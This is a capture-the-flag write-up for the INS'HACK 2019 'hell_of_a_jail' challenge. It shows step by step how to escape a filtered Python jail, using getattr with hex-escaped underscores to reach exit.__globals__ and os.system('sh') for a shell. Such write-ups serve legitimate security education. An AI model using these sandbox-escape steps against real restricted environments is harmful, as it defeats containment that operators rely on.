INS'HACK 2019 - Pwn (78 pts).

INS’HACK 2019: hell_of_a_jail

Challenge details

Event Challenge Category Points Solves
INS’HACK 2019 hell_of_a_jail Pwn 78 44


A guy from FBI found about your Ruby programming activities and has put you inside a python Jail ! Find your way out ! ssh -i -p 2222 user@hell-of-a-jail.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.


Using getattr() to access to exit.__code__, to understand how the function works. Then access the os module via exit.__globals__, to get a shell.


 ___           _   _            _      ____   ___  _  ___
|_ _|_ __  ___| | | | __ _  ___| | __ |___ \ / _ \/ |/ _ \
| || '_ \/ __| |_| |/ _` |/ __| |/ /   __) | | | | | (_) |
| || | | \__ \  _  | (_| | (__|   <   / __/| |_| | |\__, |
|___|_| |_|___/_| |_|\__,_|\___|_|\_\ |_____|\___/|_|  /_/


      You are accessing a sandbox challenge over SSH
        This sandbox will be killed soon enough.
       Please wait while we launch your sandbox...

Oh my jail ! You need to exit() with the correct key.
It might make you free (and give you the flag)

The challenge is a PyJail, the interesting function is exit(). But before we look at it, let’s see what we can use in the jail.

Here are some tests I have performed:

>>> xxxxxxxxxxxxxxxxxxxx
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  NameError: name 'xxxxxxxxxxxxxx' is not defined
>>> xx.xx
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  NameError: name 'xxxx' is not defined
>>> xxx_xxx__xxx
Traceback (most recent call last):
  File "<console>", line 1, in <module>
  NameError: name 'xxx_xxxxxx' is not defined
>>> print 1
  File "<console>", line 1
    print 1
  SyntaxError: Missing parentheses in call to 'print'. Did you mean print(1)?
>>> a=1
>>> print(a)

Several deductions can be made from these different tests: - . and __ are filtred - Max line lenght is 14 chars, next chars are removed - We can call functions and define variables - The jail is using Python 3 - However, several elements are not defined, such as: dir, eval, import, globals


Now that we know what is possible and impossible to do, we look at the exit() function. According to the jail, you have to pass a key to exit(), in order to find it we will have to dig into it. But how to do it without being able to use dir(), . and __ ?

After a while I remembered about the getattr function, when I reread my writeup from the Mirror Mirror PyJail. It allows to access an attribute of an object without using a point and moreover by using a string as attribute name.

So we can use it to access the exit() attributes, I will focus on __code__. However, we must take into account all the constraints, which we found previously.

Here is what we want to recover: exit.__code__

>>> a='\x5f\x5f' # a = '__'
>>> b=a+'code'+a # b = '__code__'
>>> c=exit       # c = exit
>>> d=getattr(c,b) # d = getattr(exit, '__code__')
>>> d    
    <code object exit at 0x7f27baa07930, file "jail.py", line 24>

Now that we have retrieved exit.__code__, we will search for exit.__code__.co_consts, as it contains all the constants of the function, the key may be inside.

>>> e='co_consts'  # e = 'co_consts'
>>> f=getattr(d,e) # f = getattr(exit.__code__, 'co_consts')
>>> f
    ('Must invoke with the right arg in order to get the flag.', '0f4d0db3668dd58cabb9eb409657eaa8', 'Oh no ! You managed to escape\nValidate with the key', 0, 'Wrong key', None)

0f4d0db3668dd58cabb9eb409657eaa8, seems very promissing… I try to pass it to exit(), but it doesn’t validate. I realize that it’s the MD5 of FLAG, so I test, but always the same result, Wrong key.

It is therefore necessary to go further.

So I’m focusing on exit.__code__.co_names (a tuple of names of globals and attributes that are used by the function’s code).

>>> g='co_names'   # g = 'co_consts'
>>> h=getattr(d,g) # h = getattr(exit.__code__, 'co_names')
>>> h
    ('os', 'environ', 'print', 'sys', 'exit')

From what is used in the function, we can deduce its overall functioning:

def exit(x)
    if (x === os.environ['0f4d0db3668dd58cabb9eb409657eaa8']):
        print('Oh no ! You managed to escape\nValidate with the key')
        print('Wrong key')

It’s possible to have its exact functioning by using the co_code attribute, which contains the function’s python bytecode. But we’re not going to do it, here’s an example by switch.


We assume that the flag is in the user’s environment variables, to access it there are several possibilities, either access os.environ, or retrieve a shell on the server, which we will do.

We saw that the os module was used in exit(), so it must be in accessible from __globals__.

>>> a='\x5f\x5f'   # a = '__'
>>> b=a+'globals'  # b = '__globals'
>>> c=b+a          # c = '__globals__'
>>> d=exit         # d = exit
>>> e=getattr(d,c) # e = getattr(exit, '__globals__')
>>> e
    {'__name__': '__main__',
    '__doc__': 'Unobfuscated source for Hell of a jaill.',
    '__package__': None,
    '__loader__': <_frozen_importlib_external.SourcelessFileLoader object at 0x7ff0cfb0e5c0>,
    '__spec__': None,
    '__annotations__': {},
    '__builtins__': <module 'builtins' (built-in)>,
    '__file__': 'jail.pyc',
    '__cached__': None,
    'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>,
    'sys': <module 'sys' (built-in)>,
    'code': <module 'code' from '/usr/local/lib/python3.7/code.py'>,
    'signal': <module 'signal' from '/usr/local/lib/python3.7/signal.py'>,
    'handler': <function handler at 0x7ff0cfa61bf8>,
    'user_input': <function user_input at 0x7ff0cf9ba8c8>,
    'exit': <function exit at 0x7ff0cf9ba950>,
    'sandbox': <function sandbox at 0x7ff0cf9ba9d8>}

Here we go, we have access to os, it’s the home stretch. We use os.system('sh'), to get a shell:

>>> f=e['os']      # f = exit.__globals__['os']
>>> g='system'     # g = 'system'
>>> h=getattr(f,g) # h = getattr(os, 'system')
>>> h('sh')        # os.system('sh')
/sandbox $ env

And we got the flag \o/


Challenge sources : https://github.com/InsecurityAsso/inshack-2019/tree/master/hell-of-a-jail